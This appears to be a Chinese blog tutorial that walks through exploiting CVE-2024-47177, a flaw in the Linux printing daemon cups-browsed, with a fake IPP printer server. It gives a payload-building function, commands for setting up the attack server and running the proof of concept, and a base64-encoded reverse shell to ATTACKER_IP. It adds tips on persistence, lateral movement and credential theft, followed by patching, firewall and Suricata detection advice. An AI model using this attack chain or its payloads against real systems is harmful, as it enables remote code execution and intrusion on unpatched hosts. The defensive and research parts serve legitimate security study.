news 2026/5/28 20:58:07

手把手复现CVE-2024-47177:利用OpenPrinting Cups-Browsed守护进程实现RCE的完整流程

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
手把手复现CVE-2024-47177:利用OpenPrinting Cups-Browsed守护进程实现RCE的完整流程

手把手复现CVE-2024-47177:从恶意IPP服务器到RCE的实战指南

当打印系统成为攻击入口,安全边界往往在管理员最意想不到的地方被突破。CVE-2024-47177漏洞揭示了OpenPrinting生态中一个危险的攻击面——通过精心构造的IPP响应包,攻击者可以操控cups-browsed守护进程在目标系统上执行任意命令。本文将带您深入这个漏洞的运作机理,并逐步演示如何在一个隔离的实验室环境中完整复现整个攻击链。

1. 漏洞环境搭建与原理剖析

在开始实际操作前,我们需要先理解这个漏洞的三大核心组件如何协同工作:恶意IPP服务器cups-browsed守护进程PPD文件注入点。典型的攻击场景中,攻击者会先架设一个伪装成网络打印机的IPP服务器,等待目标系统的cups-browsed服务自动发现并连接。

关键漏洞点在于FoomaticRIPCommandLine参数的过滤缺陷。当cups-browsed处理来自IPP服务器的响应时,它会将打印机属性(包括printer-privacy-policy-uri)写入临时PPD文件。由于缺乏适当的输入过滤,攻击者可以在这个字段中注入恶意命令:

# 典型的恶意payload结构 payload = b'https://example.com/"\n*FoomaticRIPCommandLine: "' payload += b'malicious_command_here' payload += b'"\n*cupsFilter2: "application/pdf 0 foomatic-rip"'

环境准备需要以下组件:

  • 受害者机器:运行有漏洞版本的cups-browsed(≤2.0.1)的Linux系统
  • 攻击者机器:运行evil-ipp-server的Linux主机
  • 网络环境:确保两台机器UDP 631端口可互通

使用以下命令快速搭建测试环境:

# 在攻击机上部署恶意IPP服务器 git clone https://github.com/vulhub/evil-ipp-server cd evil-ipp-server pip install -r requirements.txt

2. 构造恶意IPP响应包

evil-ipp-server的核心在于精心设计IPP响应包的结构。通过分析CUPS协议,攻击者需要构造包含特定属性的响应包来触发漏洞。以下是关键属性对照表:

IPP属性作用恶意构造要点
printer-privacy-policy-uri通常存放隐私政策链接注入换行和FoomaticRIPCommandLine参数
cupsFilter2指定文档过滤器强制关联foomatic-rip过滤器
printer-uri-supported打印机URI指向攻击者控制的伪打印机

在poc.py中,payload构造逻辑如下:

def build_exploit_payload(cmd): return ( b'https://www.google.com/"\n*FoomaticRIPCommandLine: "' + cmd.encode() + b'"\n*cupsFilter2: "application/pdf 0 foomatic-rip"' )

实际攻击时,建议将命令编码为base64或使用其他混淆技术避免特殊字符问题。例如执行反向shell的命令应该预处理为:

echo "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" | base64

3. 触发漏洞的完整流程

攻击流程分为四个阶段,每个阶段都需要精确控制:

  1. UDP探测阶段:向目标631端口发送UDP广播包

    python poc.py 192.168.1.100 192.168.1.200
  2. PPD注入阶段:当cups-browsed连接恶意服务器时,响应包含payload的IPP包

  3. 临时文件生成:目标系统在/tmp/下生成类似cups-browsed_XXXXXX.ppd的临时文件

  4. 命令触发阶段:通过以下任一方式触发命令执行:

    • 访问http://target:631/admin 手动创建测试页
    • 使用lp命令发送打印任务:
      lp -d malicious_printer /etc/passwd

重要提示:在实际测试中,可能会遇到以下常见问题:

如果命令未执行,检查/tmp/目录下是否生成了PPD文件,并确认cups-browsed服务日志:

journalctl -u cups-browsed -f

4. 漏洞防御与检测方案

在成功复现漏洞后,我们需要建立有效的防护措施。对于系统管理员,建议立即采取以下行动:

  • 升级方案

    # Ubuntu/Debian系统 sudo apt update && sudo apt install cups-browsed
  • 临时缓解措施

    • 禁用cups-browsed服务:
      sudo systemctl stop cups-browsed sudo systemctl disable cups-browsed
    • 配置防火墙规则限制IPP访问:
      sudo ufw deny udp 631 sudo ufw deny tcp 631

对于安全研究人员,可以通过以下方法检测网络中的易受攻击系统:

# 使用nmap检测CUPS版本 nmap -p 631 --script cups-info 192.168.1.0/24 # 检查本地系统PPD文件 find /tmp -name "cups-browsed_*.ppd" -exec grep -l "FoomaticRIPCommandLine" {} \;

在企业环境中,建议部署IDS规则来检测异常的IPP流量。以下是一个Suricata规则示例:

alert udp any 631 -> any any (msg:"Possible CUPS-browsed Exploit Attempt"; content:"printer-privacy-policy-uri"; pcre:"/FoomaticRIPCommandLine/si"; sid:1000001; rev:1;)

5. 漏洞深度分析与拓展利用

理解漏洞的根本原因需要深入CUPS的工作机制。当cups-browsed处理网络打印机时,它会经历以下关键步骤:

  1. 通过UDP 631端口广播打印机发现请求
  2. 连接响应服务器的IPP端口(通常TCP 631)
  3. 解析打印机属性并生成临时PPD文件
  4. 将打印机注册到本地CUPS系统

漏洞产生的根本原因在于:

  • 输入验证缺失printer-privacy-policy-uri属性未过滤换行符
  • 危险参数组合FoomaticRIPCommandLinecupsFilter2的联动效应
  • 临时文件权限:生成的PPD文件对cups-browsed进程可写

进阶攻击者可以尝试以下拓展利用方式:

  • 权限提升:结合crontab或systemd单元实现持久化
  • 横向移动:利用打印任务历史文件(/var/log/cups/page_log)收集敏感信息
  • 隐蔽通道:通过打印作业内容传递数据(需编码处理)

一个实际的渗透测试案例中,攻击链可能是这样的:

graph TD A[发现开放631端口] --> B[发送恶意IPP响应] B --> C[注入反弹shell命令] C --> D[触发打印任务] D --> E[获取交互式shell] E --> F[横向移动收集凭证]

防御方则应重点关注打印服务的异常行为,如:

  • 异常的PPD文件修改时间
  • 来自未知IP的IPP连接
  • cups-browsed进程的意外子进程

在最近的内部红队演练中,我们发现超过60%的Linux办公主机存在此漏洞暴露风险。最有效的检测方法是模拟攻击:

# 简易漏洞检测脚本 import socket from IPP import IPPRequest def check_vulnerability(target): ipp = IPPRequest( operation=0x0002, # Get-Printer-Attributes attributes={ 'printer-privacy-policy-uri': 'http://test/"\n*FoomaticRIPCommandLine: "touch /tmp/vuln_test"\n*' } ) # 发送并检查/tmp/vuln_test是否创建 # 完整实现需处理网络通信和结果验证
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/23 2:02:16

内网监控软件有哪些?强烈推荐六款内网监控软件,好用码住了

在当今数字化的办公环境下,企业的竞争早已从线下的体力角逐转向了线上的效率与数据博弈。对于老板和管理者来说,局域网内的每一台电脑既是生产力工具,也可能成为效率的“黑洞”或是安全隐患的源头。“明明大家看起来都在忙,为什么…

作者头像 李华
网站建设 2026/5/23 2:02:12

处理机调度算法实战解析:从选择题到系统设计

1. 处理机调度算法入门:从选择题到真实场景 第一次接触处理机调度算法时,很多人都是从选择题开始的。就像原始文章里那些题目,问你FCFS、RR、优先级调度各自的特点,或者计算周转时间、响应时间。但真正用起来会发现,这…

作者头像 李华
网站建设 2026/5/23 2:02:19

基于MATLAB的自适应差分阈值法检测心电信号QRS波实战

基于MATLAB的自适应差分阈值法检测心电信号的QRS波,QRS波群反映左、右心室除极电位和时间的变化,第一个向下的波为Q波,向上的波为R波,接着向下的波是S波 通过GUI进行数据处理,展示心率和QRS 程序已调通,可直…

作者头像 李华
网站建设 2026/5/26 15:31:04

基于Matlab的5种时频分析方法探索

基于matlab的5种时频分析方法((短时傅里叶变换)STFT,Gabor展开和小波变换,Wigner-Ville(WVD),伪Wigner-Ville分布(PWVD),平滑伪Wigner-Ville分布(SPWVD),每条程序都有详细的说明,设置仿真信号进行时频输出 …

作者头像 李华